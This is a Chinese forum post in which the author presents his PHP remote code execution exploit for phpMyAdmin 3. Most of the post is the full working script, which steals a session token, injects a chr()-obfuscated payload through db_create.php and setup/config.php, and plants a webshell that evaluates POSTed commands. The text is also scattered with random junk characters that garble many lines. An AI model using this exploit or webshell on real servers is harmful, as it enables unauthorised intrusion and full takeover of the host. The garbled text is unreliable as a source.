最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。 I4 M4 I1 g; |! u# f; z
# W8 y; T* Y" W/ H# T# }! E
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。/ s# M* K7 S9 l; f' Q5 g, J# N2 F
/ f7 I" n8 e, s2 f首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:. u, G) r6 C" o5 g
一是session.auto_start = 1; }, z o' R0 z! H! {8 }
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。7 f$ s' |( `* \1 h6 f2 K
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。8 f7 a7 s' z+ ]# g6 `) H
$ I; o+ }# R% C
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。3 i" C" z/ \/ R- Z
- T8 z' [/ x& F: X于是写了这个php版本的exp,代码如下:
5 |. M6 n, Y9 f/ ~9 U) z
% B. {: _/ L8 Z1 W8 I6 v#!/usr/bin/php+ D* R( L' k, v" v! R7 B. n1 k9 A
<?php4 q+ {5 H8 R+ e# c5 L+ L
print_r('
7 F |% `+ B7 H/ Q+---------------------------------------------------------------------------+3 o: V6 B% e* f; H
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
( i2 U* e0 c* d1 `4 G% vby oldjun(www.oldjun.com)
0 K% x/ \# { R5 ~% m) Mwelcome to www.t00ls.net+ G) Q$ |+ c7 s s
mail: oldjun@gmail.com% Q* r! c' c1 I) x$ C
Assigned CVE id: CVE-2011-25059 I3 r' x- S( e% B% ?6 |% p3 M5 O
+---------------------------------------------------------------------------+
! w( i& J- g8 ? Q' Z');
4 ^, x% e- d' a# P9 c) F4 y. W1 {* g+ z) z2 K8 A( \
/**
' Y! i7 S+ _& d7 h * working when the directory:"config" exists and is writeable.
/ A0 ~8 w3 G4 ^' E7 X**/
' i- \$ A: i( M0 W" V# G$ y 6 h( u6 ?9 X2 R, T* z* m
if ($argc < 3) {3 g2 U0 s' X k0 z6 j
print_r('' C, A+ O# {- Z+ [/ e
+---------------------------------------------------------------------------+
' f$ m9 [ l& k+ O" t) E& e, t) ]Usage: php '.$argv[0].' host path
\4 H2 p/ \# _6 s$ ]1 y! K$ n; lhost: target server (ip/hostname)
( U2 J9 z1 f( Z4 b) P: D% Cpath: path to pma3' P3 a% \5 i* M' v D! y4 L
Example:: `6 E) k% X8 B5 @ V4 K
php '.$argv[0].' localhost /pma/2 T7 h* S# ~; z$ g
+---------------------------------------------------------------------------+
" m5 p/ a9 T9 \* y H+ r');5 W: V8 Y6 ^. j {9 x
exit;
+ f2 w) ]2 b2 d$ Q}
$ ]' r9 j6 d" m* {; A% Q+ W! Q. t! o- Q7 H2 [; k# P0 p+ D
$host = $argv[1];4 v9 ~$ V \5 o7 k( E5 }
$path = $argv[2];6 U' Q$ ^$ E; {% R- W% p! j2 q
3 L" ^1 {, l4 L8 J+ G9 O3 x/** L& Y$ D' ?/ H8 A3 w" a
* Try to determine if the directory:"config" exists
4 [& c- M, I6 n0 N**/* S4 k- a' Z8 x$ y8 k9 A
echo "[+] Try to determine if the directory:config exists....\n";
~- P3 K% A% D Q @8 y5 Z% T% `$returnstr=php_request('config/');
5 L/ Q/ s. z7 \$ H9 ?# kif(strpos($returnstr,'404')){
# I/ B% N1 G3 m exit("[-] Exploit Failed! The directory:config do not exists!\n");* Q1 O4 I% p/ J4 _
}
1 w; n9 Y! x; N: \4 p# M. B: c0 z
+ W9 D: \9 y8 ?) |/**
5 m: j2 n# P3 O2 L * Try to get token and sessionid
% ?5 [5 a4 V5 G$ W3 M8 d**/
7 A0 C, o2 s$ ^echo "[+] Try to get token and sessionid....\n";- j+ L5 p4 K- Q% A
$result=php_request('index.php');+ P6 h7 A( {+ P5 @& u
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
! Q3 b |+ ~9 K- ^/ O. K$ z+ f( ^: {# j$token=$resp[3];" B4 W* W) y" ]2 W2 y7 F
$sessionid=$resp[1];) k+ ?2 ^" d4 U& Z3 U
if($token && $sessionid){
. I- _# n+ H9 W4 d1 f) p echo "[+] token token\n";% V0 I7 S- V/ G A
echo "[+] Session ID sessionid\n";2 \" N. W1 X. O& t5 x& `
}else{
& i" a" b5 d% A8 N+ ~/ ?. U! r/ e1 Q exit("[-] Can't get token and Session ID,Exploit Failed!\n");
8 U$ b7 R! q: M; K7 V7 q}) b4 @7 t, ~1 a [9 X' f) ?
$ i- s' U6 R8 h9 i+ f( w c/**
# f1 a% K/ t' c; p- k+ b * Try to insert shell into session/ I3 O/ P- \& Z$ s: H! T
**/& S# h" V( s! R" o: h7 k
echo "[+] Try to insert shell into session....\n";
d! U$ j2 k; `) c4 ^' M8 l j* S& ]php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
% f# ~; H( I/ X s0 ^1 h. w
# U: b4 z" H$ T& [: E! S) K* e/**
Q" W! A: _$ x* {" }( j * Try to create webshell
/ f4 V$ i* Y0 m1 N6 a& U3 y) [**/# T$ F; a( [0 j0 R
echo "[+] Try to create webshell....\n";
& L' l- ^6 `+ I) Cphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);6 a. b3 _3 i/ a' C
/**
1 ?2 u2 y. g; g1 l- a" r! R * Try to check if the webshell was created successfully
- R! D3 I# @" \1 ?* N' ~**/; _& F& b- J/ \ q
echo "[+] Try to check if the webshell was created successfully....\n";8 p5 ^% y3 I" S$ i' k* j7 M4 Y
$content=php_request('config/config.inc.php');
_. ?' ~+ J9 E& K% q2 Zif(strpos($content,'t00ls')){' A, p) \, C/ B9 X$ B, S
echo "[+] Congratulations! Expoilt successfully....\n";7 a4 o) [/ f4 [. {* u* w3 ?, l4 s
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";. \$ u0 e# k0 Y2 y/ `
}else{
& P5 p" W' X2 f! z exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
. X1 H/ `% x: z' W: Q9 O}
0 |" \; \) N+ @) ^/ ? I% s, A9 h$ Q3 c% D+ T! W2 @ Z
function php_request($url,$data='',$cookie=''){
& Y. `( Y+ o8 `/ D% t8 y; O$ C global $host, $path;$ o+ W% v& w7 S* y3 P2 ]
2 ^0 G) G. M+ T8 B0 J; y $method=$data?'POST':'GET';5 W* |. [8 Q# W% K4 q: ~- S
5 O' b' v: |+ T7 N5 n7 T' a5 Y8 Q8 H $packet = $method." ".$path.$url." HTTP/1.1\r\n";; V8 ~3 ]4 x. s. k7 F& q& o: b
$packet .= "Accept: */*\r\n";, f/ v3 E: I0 V9 d2 X
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";: S3 H9 Y% _$ b: p( `! X S' k
$packet .= "Host: $host\r\n";8 }' j% j5 b" B& L" D9 t
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";$ Y1 h, H- s$ E; \) l: L& k
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";3 U# N5 a) q- m, Q
$packet .= $cookie?"Cookie: $cookie\r\n":"";
4 O4 x2 i x: @3 W1 x- u/ ~ $packet .= "Connection: Close\r\n\r\n";
; k2 h- l6 _' n$ c $packet .= $data?$data:"";
+ ?" c; F, H C0 V K2 s
* e M) U K& ]5 O $fp = fsockopen(gethostbyname($host), 80);# a, \) \: ?1 W! M# A# @. O2 n
if (!$fp) {5 `; }) X% ]% Y' O; ~$ M
echo 'No response from '.$host; die;. P" M Q8 Z) E& Q& V" c9 u4 l6 E
}0 ~9 z$ g' @/ T7 x
fputs($fp, $packet);
& M7 |! {5 m- g
# s2 P: [" } B4 @) D- ?" {% t! { $resp = '';
+ `1 Q2 Y I: c$ l7 C k" H0 V/ X! M& L; u3 [! Q5 j
while ($fp && !feof($fp))
6 X8 Y$ W' H3 @% |: m+ w% [ $resp .= fread($fp, 1024);# V, l; L0 K1 _% p
: j+ H; P, X" C$ C" H
return $resp;
3 X0 F8 `# t: i2 f8 x4 D}
, w* ?, t/ G0 }
- n6 D- O' g! T' Q% p5 i?>
- s0 r. A6 t O! K0 m& f. |